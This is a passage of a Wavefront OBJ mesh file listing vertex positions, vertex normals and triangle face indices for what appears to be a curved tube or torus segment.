v -0.137275 0.250000 0.991445
v -0.120959 0.216506 0.867514
v -0.109015 0.125000 0.776791
v -0.104643 0.000000 0.743584
v -0.109015 -0.125000 0.776791
v -0.120959 -0.216506 0.867514
v -0.137275 -0.250000 0.991445
v -0.153591 -0.216506 1.115375
v -0.165535 -0.125000 1.206099
v -0.006748 0.000000 1.250000
v -0.006748 0.125000 1.216506
v -0.006748 0.216506 1.125000
v -0.006748 0.250000 1.000000
v -0.006748 0.216506 0.875000
v -0.006748 0.125000 0.783494
v -0.006748 0.000000 0.750000
v -0.006748 -0.125000 0.783494
v -0.006748 -0.216506 0.875000
v -0.006748 -0.250000 1.000000
v -0.006748 -0.216506 1.125000
v -0.006748 -0.125000 1.216506
v 0.156409 0.000000 1.239306
v 0.152037 0.125000 1.206099
v 0.140094 0.216506 1.115376
v 0.123778 0.250000 0.991445
v 0.107462 0.216506 0.867514
v 0.095518 0.125000 0.776791
v 0.091146 0.000000 0.743584
v 0.095518 -0.125000 0.776791
v 0.107462 -0.216506 0.867514
v 0.123778 -0.250000 0.991445
v 0.140094 -0.216506 1.115376
v 0.152037 -0.125000 1.206099
v 0.316775 0.000000 1.207407
v 0.308106 0.125000 1.175055
v 0.284423 0.216506 1.086667
v 0.252070 0.250000 0.965926
v 0.219718 0.216506 0.845185
v 0.196034 0.125000 0.756797
v 0.187366 0.000000 0.724445
v 0.196034 -0.125000 0.756797
v 0.219718 -0.216506 0.845185
v 0.252070 -0.250000 0.965926
v 0.284423 -0.216506 1.086667
v 0.308106 -0.125000 1.175055
v 0.471606 0.000000 1.154849
v 0.458789 0.125000 1.123905
v 0.423771 0.216506 1.039364
v 0.375935 0.250000 0.923879
v 0.328100 0.216506 0.808394
v 0.293082 0.125000 0.723854
v 0.280264 0.000000 0.692910
v 0.293082 -0.125000 0.723854
v 0.328100 -0.216506 0.808394
v 0.375935 -0.250000 0.923879
v 0.423771 -0.216506 1.039364
v 0.458789 -0.125000 1.123905
v 0.618252 0.000000 1.082532
v 0.601505 0.125000 1.053525
v 0.555752 0.216506 0.974279
v 0.493252 0.250000 0.866025
v 0.430752 0.216506 0.757772
v 0.384999 0.125000 0.678525
v 0.368252 0.000000 0.649519
v 0.384999 -0.125000 0.678525
v 0.430752 -0.216506 0.757772
v 0.493252 -0.250000 0.866025
v 0.555752 -0.216506 0.974279
v 0.601505 -0.125000 1.053525
v 0.754203 0.000000 0.991692
v 0.733814 0.125000 0.965120
v 0.678108 0.216506 0.892523
v 0.602013 0.250000 0.793354
v 0.525918 0.216506 0.694184
v 0.470212 0.125000 0.621587
v 0.449823 0.000000 0.595015
v 0.470212 -0.125000 0.621587
v 0.525918 -0.216506 0.694184
v 0.602013 -0.250000 0.793354
v 0.678108 -0.216506 0.892523
v 0.733814 -0.125000 0.965120
v 0.877135 0.000000 0.883884
v 0.853451 0.125000 0.860200
v 0.788746 0.216506 0.795496
v 0.700358 0.250000 0.707107
v 0.611970 0.216506 0.618719
v 0.547265 0.125000 0.554014
v 0.523582 0.000000 0.530330
v 0.547265 -0.125000 0.554014
v 0.611970 -0.216506 0.618719
v 0.700358 -0.250000 0.707107
v 0.788746 -0.216506 0.795496
v 0.853451 -0.125000 0.860200
v 0.984944 0.000000 0.760952
v 0.958371 0.125000 0.740562
v 0.885774 0.216506 0.684857
v 0.786605 0.250000 0.608761
v 0.687436 0.216506 0.532666
v 0.614839 0.125000 0.476961
v 0.588267 0.000000 0.456571
v 0.614839 -0.125000 0.476961
v 0.687436 -0.216506 0.532666
v 0.786605 -0.250000 0.608761
v 0.885774 -0.216506 0.684857
v 0.958371 -0.125000 0.740562
v 1.075783 0.000000 0.625000
v 1.046777 0.125000 0.608253
v 0.967530 0.216506 0.562500
v 0.859277 0.250000 0.500000
v 0.751024 0.216506 0.437500
v 0.671777 0.125000 0.391747
v 0.642771 0.000000 0.375000
v 0.671777 -0.125000 0.391747
v 0.751024 -0.216506 0.437500
v 0.859277 -0.250000 0.500000
v 0.967530 -0.216506 0.562500
v 1.046777 -0.125000 0.608253
v 1.148101 0.000000 0.478355
v 1.117157 0.125000 0.465537
v 1.032616 0.216506 0.430519
v 0.917131 0.250000 0.382684
v 0.801646 0.216506 0.334848
v 0.717105 0.125000 0.299830
v 0.686161 0.000000 0.287013
v 0.717105 -0.125000 0.299830
v 0.801646 -0.216506 0.334848
v 0.917131 -0.250000 0.382684
v 1.032616 -0.216506 0.430519
v 1.117157 -0.125000 0.465537
v 1.200659 0.000000 0.323523
v 1.168307 0.125000 0.314855
v 1.079918 0.216506 0.291171
v 0.959178 0.250000 0.258819
v 0.838437 0.216506 0.226466
v 0.750048 0.125000 0.202783
v 0.717696 0.000000 0.194114
v 0.750048 -0.125000 0.202783
v 0.838437 -0.216506 0.226466
v 0.959178 -0.250000 0.258819
v 1.079918 -0.216506 0.291171
v 1.168307 -0.125000 0.314855
v 1.232558 0.000000 0.163158
v 1.199351 0.125000 0.158786
v 1.108627 0.216506 0.146842
v 0.984697 0.250000 0.130526
v 0.860766 0.216506 0.114210
v 0.770042 0.125000 0.102266
v 0.736835 0.000000 0.097895
v 0.770042 -0.125000 0.102266
v 0.860766 -0.216506 0.114210
v 0.984697 -0.250000 0.130526
v 1.108627 -0.216506 0.146842
v 1.199351 -0.125000 0.158786
vn 0.963996 0.258301 -0.063184
vn 0.706349 0.706349 -0.046296
vn 0.258782 0.965787 -0.016961
vn -0.258782 0.965787 0.016961
vn -0.706349 0.706349 0.046297
vn -0.963996 0.258302 0.063183
vn -0.963996 -0.258302 0.063183
vn -0.706349 -0.706349 0.046297
vn -0.258782 -0.965787 0.016961
vn 0.258782 -0.965787 -0.016961
vn 0.706349 -0.706349 -0.046296
vn 0.963996 -0.258301 -0.063184
vn 0.947502 0.258301 -0.188469
vn 0.694263 0.706348 -0.138097
vn 0.254354 0.965787 -0.050594
vn -0.254354 0.965787 0.050594
vn -0.694263 0.706349 0.138097
vn -0.947502 0.258301 0.188470
vn -0.947502 -0.258301 0.188470
vn -0.694263 -0.706349 0.138097
vn -0.254354 -0.965787 0.050594
vn 0.254354 -0.965787 -0.050594
vn 0.694263 -0.706348 -0.138097
vn 0.947502 -0.258301 -0.188469
vn 0.914795 0.258302 -0.310531
vn 0.670298 0.706349 -0.227536
vn 0.245574 0.965787 -0.083361
vn -0.245574 0.965787 0.083361
vn -0.670298 0.706349 0.227535
vn -0.914796 0.258301 0.310531
vn -0.914796 -0.258301 0.310531
vn -0.670298 -0.706349 0.227535
vn -0.245574 -0.965787 0.083361
vn 0.245574 -0.965787 -0.083361
vn 0.670298 -0.706349 -0.227536
vn 0.914795 -0.258302 -0.310531
vn 0.866437 0.258302 -0.427280
vn 0.634864 0.706349 -0.313080
vn 0.232592 0.965787 -0.114702
vn -0.232592 0.965787 0.114702
vn -0.634864 0.706349 0.313080
vn -0.866437 0.258302 0.427280
vn -0.866437 -0.258302 0.427280
vn -0.634864 -0.706349 0.313080
vn -0.232592 -0.965787 0.114702
vn 0.232592 -0.965787 -0.114702
vn 0.634864 -0.706349 -0.313080
vn 0.866437 -0.258302 -0.427280
vn 0.803253 0.258302 -0.536716
vn 0.588567 0.706349 -0.393268
vn 0.215631 0.965787 -0.144080
vn -0.215631 0.965787 0.144080
vn -0.588568 0.706349 0.393268
vn -0.803253 0.258302 0.536716
vn -0.803253 -0.258302 0.536716
vn -0.588568 -0.706349 0.393268
vn -0.215631 -0.965787 0.144080
vn 0.215631 -0.965787 -0.144080
vn 0.588567 -0.706349 -0.393268
vn 0.803253 -0.258302 -0.536716
vn 0.726325 0.258302 -0.636970
vn 0.532200 0.706349 -0.466727
vn 0.194980 0.965787 -0.170993
vn -0.194980 0.965787 0.170993
vn -0.532200 0.706349 0.466728
vn -0.726325 0.258302 0.636971
vn -0.726325 -0.258302 0.636971
vn -0.532200 -0.706349 0.466728
vn -0.194980 -0.965787 0.170993
vn 0.194980 -0.965787 -0.170993
vn 0.532200 -0.706349 -0.466727
vn 0.726325 -0.258302 -0.636970
vn 0.636970 0.258302 -0.726326
vn 0.466727 0.706349 -0.532200
vn 0.170993 0.965787 -0.194980
vn -0.170993 0.965787 0.194980
vn -0.466727 0.706349 0.532200
vn -0.636971 0.258302 0.726325
vn -0.636971 -0.258302 0.726325
vn -0.466727 -0.706349 0.532200
vn -0.170993 -0.965787 0.194980
vn 0.170993 -0.965787 -0.194980
vn 0.466727 -0.706349 -0.532200
vn 0.636970 -0.258302 -0.726326
vn 0.536717 0.258301 -0.803253
vn 0.393268 0.706349 -0.588567
vn 0.144080 0.965787 -0.215631
vn -0.144080 0.965787 0.215631
vn -0.393268 0.706349 0.588568
vn -0.536716 0.258302 0.803253
vn -0.536716 -0.258302 0.803253
vn -0.393268 -0.706349 0.588568
vn -0.144080 -0.965787 0.215631
vn 0.144080 -0.965787 -0.215631
vn 0.393268 -0.706349 -0.588567
vn 0.536717 -0.258301 -0.803253
vn 0.427279 0.258302 -0.866437
vn 0.313080 0.706349 -0.634864
vn 0.114702 0.965787 -0.232592
vn -0.114702 0.965787 0.232592
vn -0.313080 0.706349 0.634864
vn -0.427279 0.258302 0.866437
vn -0.427279 -0.258302 0.866437
vn -0.313080 -0.706349 0.634864
vn -0.114702 -0.965787 0.232592
vn 0.114702 -0.965787 -0.232592
vn 0.313080 -0.706349 -0.634864
vn 0.427279 -0.258302 -0.866437
vn 0.310532 0.258302 -0.914795
vn 0.227536 0.706349 -0.670298
vn 0.083361 0.965787 -0.245574
vn -0.083361 0.965787 0.245574
vn -0.227536 0.706349 0.670298
vn -0.310531 0.258301 0.914795
vn -0.310531 -0.258301 0.914795
vn -0.227536 -0.706349 0.670298
vn -0.083361 -0.965787 0.245574
vn 0.083361 -0.965787 -0.245574
vn 0.227536 -0.706349 -0.670298
vn 0.310532 -0.258302 -0.914795
vn 0.188470 0.258302 -0.947502
vn 0.138098 0.706349 -0.694262
vn 0.050594 0.965787 -0.254354
vn -0.050594 0.965787 0.254354
vn -0.138097 0.706349 0.694263
vn -0.188470 0.258302 0.947502
vn -0.188470 -0.258302 0.947502
vn -0.138097 -0.706349 0.694263
vn -0.050594 -0.965787 0.254354
vn 0.050594 -0.965787 -0.254354
vn 0.138098 -0.706349 -0.694262
vn 0.188470 -0.258302 -0.947502
vn 0.063184 0.258302 -0.963996
vn 0.046296 0.706349 -0.706349
vn 0.016962 0.965787 -0.258782
vn -0.016961 0.965787 0.258782
vn -0.046297 0.706349 0.706349
vn -0.063184 0.258302 0.963996
vn -0.063184 -0.258302 0.963996
vn -0.046297 -0.706349 0.706349
vn -0.016961 -0.965787 0.258782
vn 0.016962 -0.965787 -0.258782
vn 0.046296 -0.706349 -0.706349
vn 0.063184 -0.258302 -0.963996
vn -0.063184 0.258302 -0.963996
vn -0.046296 0.706349 -0.706348
vn -0.016962 0.965787 -0.258782
vn 0.016962 0.965787 0.258782
vn 0.046297 0.706349 0.706349
vn 0.063184 0.258302 0.963996
vn 0.063184 -0.258302 0.963996
vn 0.046297 -0.706349 0.706349
vn 0.016962 -0.965787 0.258782
vn -0.016962 -0.965787 -0.258782
vn -0.046296 -0.706349 -0.706348
vn -0.063184 -0.258302 -0.963996
vn -0.188470 0.258301 -0.947502
vn -0.138097 0.706349 -0.694262
vn -0.050594 0.965787 -0.254354
vn 0.050594 0.965787 0.254354
vn 0.138097 0.706349 0.694263
vn 0.188470 0.258302 0.947502
vn 0.188470 -0.258302 0.947502
vn 0.138097 -0.706349 0.694263
vn 0.050594 -0.965787 0.254354
vn -0.050594 -0.965787 -0.254354
vn -0.138097 -0.706349 -0.694262
vn -0.188470 -0.258301 -0.947502
vn -0.310532 0.258302 -0.914795
vn -0.227536 0.706348 -0.670298
vn -0.083361 0.965787 -0.245574
vn 0.083361 0.965787 0.245574
vn 0.227536 0.706349 0.670298
vn 0.310531 0.258302 0.914795
vn 0.310531 -0.258302 0.914795
vn 0.227536 -0.706349 0.670298
vn 0.083361 -0.965787 0.245574
vn -0.083361 -0.965787 -0.245574
vn -0.227536 -0.706348 -0.670298
vn -0.310532 -0.258302 -0.914795
vn -0.427279 0.258302 -0.866437
vn -0.313080 0.706348 -0.634865
vn -0.114702 0.965787 -0.232592
vn 0.114702 0.965787 0.232592
vn 0.313080 0.706349 0.634864
vn 0.427280 0.258302 0.866437
vn 0.427280 -0.258302 0.866437
vn 0.313080 -0.706349 0.634864
vn 0.114702 -0.965787 0.232592
vn -0.114702 -0.965787 -0.232592
vn -0.313080 -0.706348 -0.634865
vn -0.427279 -0.258302 -0.866437
vn -0.536717 0.258301 -0.803253
vn -0.393268 0.706349 -0.588567
vn -0.144080 0.965787 -0.215631
vn 0.144080 0.965787 0.215631
vn 0.393268 0.706349 0.588568
vn 0.536716 0.258302 0.803253
vn 0.536716 -0.258302 0.803253
vn 0.393268 -0.706349 0.588568
vn 0.144080 -0.965787 0.215631
vn -0.144080 -0.965787 -0.215631
vn -0.393268 -0.706349 -0.588567
vn -0.536717 -0.258301 -0.803253
vn -0.636971 0.258301 -0.726325
vn -0.466727 0.706349 -0.532200
vn -0.170993 0.965787 -0.194980
vn 0.170993 0.965787 0.194980
vn 0.466728 0.706349 0.532200
vn 0.636971 0.258302 0.726325
vn 0.636971 -0.258302 0.726325
vn 0.466728 -0.706349 0.532200
vn 0.170993 -0.965787 0.194980
vn -0.170993 -0.965787 -0.194980
vn -0.466727 -0.706349 -0.532200
vn -0.636971 -0.258301 -0.726325
vn -0.726326 0.258301 -0.636971
vn -0.532200 0.706349 -0.466727
vn -0.194980 0.965787 -0.170993
vn 0.194980 0.965787 0.170993
vn 0.532200 0.706349 0.466727
vn 0.726325 0.258302 0.636971
vn 0.726325 -0.258302 0.636971
vn 0.532200 -0.706349 0.466727
vn 0.194980 -0.965787 0.170993
vn -0.194980 -0.965787 -0.170993
vn -0.532200 -0.706349 -0.466727
vn -0.726326 -0.258301 -0.636971
vn -0.803253 0.258301 -0.536717
vn -0.588567 0.706349 -0.393269
vn -0.215631 0.965787 -0.144080
vn 0.215631 0.965787 0.144080
vn 0.588567 0.706349 0.393268
vn 0.803253 0.258302 0.536717
vn 0.803253 -0.258302 0.536717
vn 0.588567 -0.706349 0.393268
vn 0.215631 -0.965787 0.144080
vn -0.215631 -0.965787 -0.144080
vn -0.588567 -0.706349 -0.393269
vn -0.803253 -0.258301 -0.536717
vn -0.866437 0.258302 -0.427279
vn -0.634865 0.706348 -0.313079
vn -0.232592 0.965787 -0.114701
vn 0.232592 0.965787 0.114702
vn 0.634864 0.706349 0.313080
vn 0.866437 0.258302 0.427278
vn 0.866437 -0.258302 0.427278
vn 0.634864 -0.706349 0.313080
vn 0.232592 -0.965787 0.114702
vn -0.232592 -0.965787 -0.114701
vn -0.634865 -0.706348 -0.313079
vn -0.866437 -0.258302 -0.427279
vn -0.914795 0.258302 -0.310532
vn -0.670298 0.706348 -0.227536
vn -0.245574 0.965787 -0.083362
vn 0.245574 0.965787 0.083361
vn 0.670298 0.706349 0.227536
vn 0.914795 0.258302 0.310532
vn 0.914795 -0.258302 0.310532
vn 0.670298 -0.706349 0.227536
vn 0.245574 -0.965787 0.083361
vn -0.245574 -0.965787 -0.083362
vn -0.670298 -0.706348 -0.227536
vn -0.914795 -0.258302 -0.310532
vn -0.947502 0.258301 -0.188470
vn -0.694263 0.706348 -0.138097
vn -0.254354 0.965787 -0.050594
vn 0.254354 0.965787 0.050594
vn 0.694263 0.706349 0.138098
vn 0.947502 0.258301 0.188470
vn 0.947502 -0.258301 0.188470
vn 0.694263 -0.706349 0.138098
vn 0.254354 -0.965787 0.050594
vn -0.254354 -0.965787 -0.050594
vn -0.694263 -0.706348 -0.138097
vn -0.947502 -0.258301 -0.188470
vn -0.963996 0.258301 -0.063184
vn -0.706349 0.706349 -0.046296
vn -0.258782 0.965787 -0.016961
vn 0.258782 0.965787 0.016961
vn 0.706349 0.706349 0.046297
vn 0.963996 0.258302 0.063183
vn 0.963996 -0.258302 0.063183
vn 0.706349 -0.706349 0.046297
vn 0.258782 -0.965787 0.016961
vn -0.258782 -0.965787 -0.016961
vn -0.706349 -0.706349 -0.046296
vn -0.963996 -0.258301 -0.063184
vn -0.963996 0.258301 0.063184
vn -0.706349 0.706349 0.046296
vn 0.706349 0.706349 -0.046297
vn 0.963996 0.258302 -0.063183
vn 0.963996 -0.258302 -0.063183
vn 0.706349 -0.706349 -0.046297
vn -0.706349 -0.706349 0.046296
vn -0.963996 -0.258301 0.063184
vn -0.694263 0.706348 0.138097
vn 0.694263 0.706349 -0.138098
vn 0.947502 0.258301 -0.188470
vn 0.947502 -0.258301 -0.188470
vn 0.694263 -0.706349 -0.138098
vn -0.694263 -0.706348 0.138097
vn -0.914795 0.258301 0.310531
vn -0.670298 0.706349 0.227536
vn 0.670298 0.706349 -0.227535
vn 0.670298 -0.706349 -0.227535
vn -0.670298 -0.706349 0.227536
vn -0.914795 -0.258301 0.310531
vn -0.866437 0.258301 0.427278
vn 0.866437 0.258302 -0.427279
vn 0.866437 -0.258302 -0.427279
vn -0.866437 -0.258301 0.427278
vn -0.803253 0.258301 0.536717
vn -0.588567 0.706349 0.393268
vn 0.803253 0.258302 -0.536717
vn 0.803253 -0.258302 -0.536717
vn -0.588567 -0.706349 0.393268
vn -0.803253 -0.258301 0.536717
vn -0.726326 0.258301 0.636971
vn -0.532200 0.706349 0.466727
vn 0.726325 0.258302 -0.636971
vn 0.726325 -0.258302 -0.636971
vn -0.532200 -0.706349 0.466727
vn -0.726326 -0.258301 0.636971
vn -0.466728 0.706349 0.532200
vn 0.636971 0.258302 -0.726325
vn 0.636971 -0.258302 -0.726325
vn -0.466728 -0.706349 0.532200
vn -0.393268 0.706348 0.588568
vn 0.536717 0.258302 -0.803253
vn 0.536717 -0.258302 -0.803253
vn -0.393268 -0.706348 0.588568
vn -0.313080 0.706348 0.634865
vn 0.427280 0.258302 -0.866437
vn 0.427280 -0.258302 -0.866437
vn -0.313080 -0.706348 0.634865
vn -0.310532 0.258302 0.914795
vn -0.227536 0.706348 0.670298
vn 0.310531 0.258302 -0.914795
vn 0.310531 -0.258302 -0.914795
vn -0.227536 -0.706348 0.670298
vn -0.310532 -0.258302 0.914795
vn -0.188470 0.258302 0.947501
vn 0.138097 0.706349 -0.694263
vn 0.138097 -0.706349 -0.694263
vn -0.188470 -0.258302 0.947501
vn -0.063184 0.258303 0.963996
vn -0.046297 0.706349 0.706348
vn -0.016962 0.965787 0.258782
vn 0.046297 0.706349 -0.706348
vn 0.063185 0.258302 -0.963996
vn 0.063185 -0.258302 -0.963996
vn 0.046297 -0.706349 -0.706348
vn -0.016962 -0.965787 0.258782
vn -0.046297 -0.706349 0.706348
vn -0.063184 -0.258303 0.963996
vn 0.046296 0.706349 0.706349
vn -0.016961 0.965787 -0.258782
vn -0.046297 0.706349 -0.706349
vn -0.046297 -0.706349 -0.706349
vn -0.016961 -0.965787 -0.258782
vn 0.046296 -0.706349 0.706349
vn 0.188470 0.258301 0.947502
vn -0.138097 0.706349 -0.694263
vn -0.188469 0.258302 -0.947502
vn -0.188469 -0.258302 -0.947502
vn -0.138097 -0.706349 -0.694263
vn 0.188470 -0.258301 0.947502
vn 0.227536 0.706348 0.670298
vn -0.227536 0.706349 -0.670298
vn -0.310532 0.258301 -0.914795
vn -0.310532 -0.258301 -0.914795
vn -0.227536 -0.706349 -0.670298
vn 0.227536 -0.706348 0.670298
vn 0.427279 0.258302 0.866437
vn -0.313080 0.706349 -0.634864
vn -0.313080 -0.706349 -0.634864
vn 0.427279 -0.258302 0.866437
vn 0.536716 0.258301 0.803254
vn -0.393268 0.706349 -0.588568
vn -0.536716 0.258302 -0.803253
vn -0.536716 -0.258302 -0.803253
vn -0.393268 -0.706349 -0.588568
vn 0.536716 -0.258301 0.803254
vn 0.636970 0.258302 0.726326
vn 0.466727 0.706348 0.532201
vn -0.636970 0.258302 -0.726326
vn -0.636970 -0.258302 -0.726326
vn 0.466727 -0.706348 0.532201
vn 0.636970 -0.258302 0.726326
vn 0.532201 0.706348 0.466727
vn -0.726325 0.258302 -0.636971
vn -0.726325 -0.258302 -0.636971
vn 0.532201 -0.706348 0.466727
vn 0.803253 0.258302 0.536716
vn -0.588568 0.706349 -0.393268
vn -0.803253 0.258302 -0.536716
vn -0.803253 -0.258302 -0.536716
vn -0.588568 -0.706349 -0.393268
vn 0.803253 -0.258302 0.536716
vn 0.866437 0.258302 0.427279
vn 0.634864 0.706348 0.313080
vn -0.232592 0.965787 -0.114702
vn -0.634864 0.706349 -0.313080
vn -0.634864 -0.706349 -0.313080
vn -0.232592 -0.965787 -0.114702
vn 0.634864 -0.706348 0.313080
vn 0.866437 -0.258302 0.427279
vn 0.914795 0.258303 0.310532
vn 0.670298 0.706348 0.227536
vn -0.245574 0.965787 -0.083361
vn -0.670298 0.706349 -0.227536
vn -0.670298 -0.706349 -0.227536
vn -0.245574 -0.965787 -0.083361
vn 0.670298 -0.706348 0.227536
vn 0.914795 -0.258303 0.310532
vn 0.947502 0.258302 0.188469
vn 0.694263 0.706349 0.138097
vn -0.694263 0.706349 -0.138097
vn -0.947502 0.258302 -0.188470
vn -0.947502 -0.258302 -0.188470
vn -0.694263 -0.706349 -0.138097
vn 0.694263 -0.706349 0.138097
vn 0.947502 -0.258302 0.188469
vn 0.963996 0.258301 0.063184
vn 0.706349 0.706349 0.046296
vn -0.706349 0.706349 -0.046297
vn -0.963996 0.258302 -0.063183
vn -0.963996 -0.258302 -0.063183
vn -0.706349 -0.706349 -0.046297
vn 0.706349 -0.706349 0.046296
vn 0.963996 -0.258301 0.063184
s off
f 1//1 13//1 14//1
f 1//1 14//1 2//1
f 2//2 14//2 15//2
f 2//2 15//2 3//2
f 3//3 15//3 16//3
f 3//3 16//3 4//3
f 4//4 16//4 17//4
f 4//4 17//4 5//4
f 5//5 17//5 18//5
f 5//5 18//5 6//5
f 6//6 18//6 19//6
f 6//6 19//6 7//6
f 7//7 19//7 20//7
f 7//7 20//7 8//7
f 8//8 20//8 21//8
f 8//8 21//8 9//8
f 9//9 21//9 22//9
f 9//9 22//9 10//9
f 10//10 22//10 23//10
f 10//10 23//10 11//10
f 11//11 23//11 24//11
f 11//11 24//11 12//11
f 1//12 12//12 24//12
f 1//12 24//12 13//12
f 13//13 25//13 26//13
f 13//13 26//13 14//13
f 14//14 26//14 27//14
f 14//14 27//14 15//14
f 15//15 27//15 28//15
f 15//15 28//15 16//15
f 16//16 28//16 29//16
f 16//16 29//16 17//16
f 17//17 29//17 30//17
f 17//17 30//17 18//17
f 18//18 30//18 31//18
f 18//18 31//18 19//18
f 19//19 31//19 32//19
f 19//19 32//19 20//19
f 20//20 32//20 33//20
f 20//20 33//20 21//20
f 21//21 33//21 34//21
f 21//21 34//21 22//21
f 22//22 34//22 35//22
f 22//22 35//22 23//22
f 23//23 35//23 36//23
f 23//23 36//23 24//23
f 24//24 36//24 25//24
f 24//24 25//24 13//24
f 25//25 37//25 38//25
f 25//25 38//25 26//25
f 26//26 38//26 39//26
f 26//26 39//26 27//26
f 27//27 39//27 40//27
f 27//27 40//27 28//27
f 28//28 40//28 41//28
f 28//28 41//28 29//28
f 29//29 41//29 42//29
f 29//29 42//29 30//29
f 30//30 42//30 43//30
f 30//30 43//30 31//30
f 31//31 43//31 44//31
f 31//31 44//31 32//31
f 32//32 44//32 45//32
f 32//32 45//32 33//32
f 33//33 45//33 46//33
f 33//33 46//33 34//33
f 34//34 46//34 47//34
f 34//34 47//34 35//34
f 35//35 47//35 48//35
f 35//35 48//35 36//35
f 36//36 48//36 37//36
f 36//36 37//36 25//36
f 37//37 49//37 50//37
f 37//37 50//37 38//37
f 38//38 50//38 51//38
f 38//38 51//38 39//38
f 39//39 51//39 52//39
f 39//39 52//39 40//39
f 40//40 52//40 53//40
f 40//40 53//40 41//40
f 41//41 53//41 54//41
f 41//41 54//41 42//41
f 42//42 54//42 55//42
f 42//42 55//42 43//42
f 43//43 55//43 56//43
f 43//43 56//43 44//43
f 44//44 56//44 57//44
f 44//44 57//44 45//44
f 45//45 57//45 58//45
f 45//45 58//45 46//45
f 46//46 58//46 59//46
f 46//46 59//46 47//46
f 47//47 59//47 60//47
f 47//47 60//47 48//47
f 48//48 60//48 49//48
f 48//48 49//48 37//48
f 49//49 61//49 62//49
f 49//49 62//49 50//49
f 50//50 62//50 63//50
f 50//50 63//50 51//50
f 51//51 63//51 64//51
f 51//51 64//51 52//51
f 52//52 64//52 65//52
f 52//52 65//52 53//52
f 53//53 65//53 66//53
f 53//53 66//53 54//53
f 54//54 66//54 67//54
f 54//54 67//54 55//54
f 55//55 67//55 68//55
f 55//55 68//55 56//55
f 56//56 68//56 69//56
f 56//56 69//56 57//56
f 57//57 69//57 70//57
f 57//57 70//57 58//57
f 58//58 70//58 71//58
f 58//58 71//58 59//58
f 59//59 71//59 72//59
f 59//59 72//59 60//59
f 60//60 72//60 61//60
f 60//60 61//60 49//60
f 61//61 73//61 74//61
f 61//61 74//61 62//61
f 62//62 74//62 75//62
f 62//62 75//62 63//62
f 63//63 75//63 76//63
f 63//63 76//63 64//63
f 64//64 76//64 77//64
f 64//64 77//64 65//64
f 65//65 77//65 78//65
f 65//65 78//65 66//65
f 66//66 78//66 79//66
f 66//66 79//66 67//66
f 67//67 79//67 80//67
f 67//67 80//67 68//67
f 68//68 80//68 81//68
f 68//68 81//68 69//68
f 69//69 81//69 82//69
f 69//69 82//69 70//69
f 70//70 82//70 83//70
f 70//70 83//70 71//70
f 71//71 83//71 84//71
f 71//71 84//71 72//71
f 72//72 84//72 73//72
f 72//72 73//72 61//72
f 73//73 85//73 86//73
f 73//73 86//73 74//73
f 74//74 86//74 87//74
f 74//74 87//74 75//74
f 75//75 87//75 88//75
f 75//75 88//75 76//75
f 76//76 88//76 89//76
f 76//76 89//76 77//76
f 77//77 89//77 90//77
f 77//77 90//77 78//77
f 78//78 90//78 91//78
f 78//78 91//78 79//78
f 79//79 91//79 92//79
f 79//79 92//79 80//79
f 80//80 92//80 93//80
f 80//80 93//80 81//80
f 81//81 93//81 94//81
f 81//81 94//81 82//81
f 82//82 94//82 95//82
f 82//82 95//82 83//82
f 83//83 95//83 96//83
f 83//83 96//83 84//83
f 84//84 96//84 85//84
f 84//84 85//84 73//84
f 85//85 97//85 98//85
f 85//85 98//85 86//85
f 86//86 98//86 99//86
f 86//86 99//86 87//86
f 87//87 99//87 100//87
f 87//87 100//87 88//87
f 88//88 100//88 101//88
f 88//88 101//88 89//88
f 89//89 101//89 102//89
f 89//89 102//89 90//89
f 90//90 102//90 103//90
f 90//90 103//90 91//90
f 91//91 103//91 104//91
f 91//91 104//91 92//91
f 92//92 104//92 105//92
f 92//92 105//92 93//92
f 93//93 105//93 106//93
f 93//93 106//93 94//93
f 94//94 106//94 107//94
f 94//94 107//94 95//94
f 95//95 107//95 108//95
f 95//95 108//95 96//95
f 96//96 108//96 97//96
f 96//96 97//96 85//96
f 97//97 109//97 110//97
f 97//97 110//97 98//97
f 98//98 110//98 111//98
f 98//98 111//98 99//98
f 99//99 111//99 112//99
f 99//99 112//99 100//99
f 100//100 112//100 113//100
f 100//100 113//100 101//100
f 101//101 113//101 114//101
f 101//101 114//101 102//101
f 102//102 114//102 115//102
f 102//102 115//102 103//102
f 103//103 115//103 116//103
f 103//103 116//103 104//103
f 104//104 116//104 117//104
f 104//104 117//104 105//104
f 105//105 117//105 118//105
f 105//105 118//105 106//105
f 106//106 118//106 119//106
f 106//106 119//106 107//106
f 107//107 119//107 120//107
f 107//107 120//107 108//107
f 108//108 120//108 109//108
f 108//108 109//108 97//108
f 109//109 121//109 122//109
f 109//109 122//109 110//109
f 110//110 122//110 123//110
f 110//110 123//110 111//110
f 111//111 123//111 124//111
f 111//111 124//111 112//111
f 112//112 124//112 125//112
f 112//112 125//112 113//112
f 113//113 125//113 126//113
f 113//113 126//113 114//113
f 114//114 126//114 127//114
f 114//114 127//114 115//114
f 115//115 127//115 128//115
f 115//115 128//115 116//115
f 116//116 128//116 129//116
f 116//116 129//116 117//116
f 117//117 129//117 130//117
f 117//117 130//117 118//117
f 118//118 130//118 131//118
f 118//118 131//118 119//118
f 119//119 131//119 132//119
f 119//119 132//119 120//119
f 120//120 132//120 121//120
f 120//120 121//120 109//120
f 121//121 133//121 134//121
f 121//121 134//121 122//121
f 122//122 134//122 135//122
f 122//122 135//122 123//122
f 123//123 135//123 136//123
f 123//123 136//123 124//123
f 124//124 136//124 137//124
f 124//124 137//124 125//124
f 125//125 137//125 138//125
f 125//125 138//125 126//125
f 126//126 138//126 139//126
f 126//126 139//126 127//126
f 127//127 139//127 140//127
f 127//127 140//127 128//127
f 128//128 140//128 141//128
f 128//128 141//128 129//128
f 129//129 141//129 142//129
f 129//129 142//129 130//129
f 130//130 142//130 143//130
f 130//130 143//130 131//130
f 131//131 143//131 144//131
f 131//131 144//131 132//131
f 132//132 144//132 133//132
f 132//132 133//132 121//132
f 133//133 145//133 146//133
f 133//133 146//133 134//133
f 134//134 146//134 147//134
f 134//134 147//134 135//134
f 135//135 147//135 148//135
f 135//135 148//135 136//135
f 136//136 148//136 149//136
f 136//136 149//136 137//136
f 137//137 149//137 150//137
f 137//137 150//137 138//137
f 138//138 150//138 151//138
f 138//138 151//138 139//138
f 139//139 151//139 152//139
f 139//139 152//139 140//139
f 140//140 152//140 153//140
f 140//140 153//140 141//140
f 141//141 153//141 154//141
f 141//141 154//141 142//141
f 142//142 154//142 155//142
f 142//142 155//142 143//142
f 143//143 155//143 156//143
f 143//143 156//143 144//143
f 144//144 156//144 145//144
f 144//144 145//144 133//144
f 145//145 157//145 158//145
f 145//145 158//145 146//145
f 146//146 158//146 159//146
f 146//146 159//146 147//146
f 147//147 159//147 160//147
f 147//147 160//147 148//147
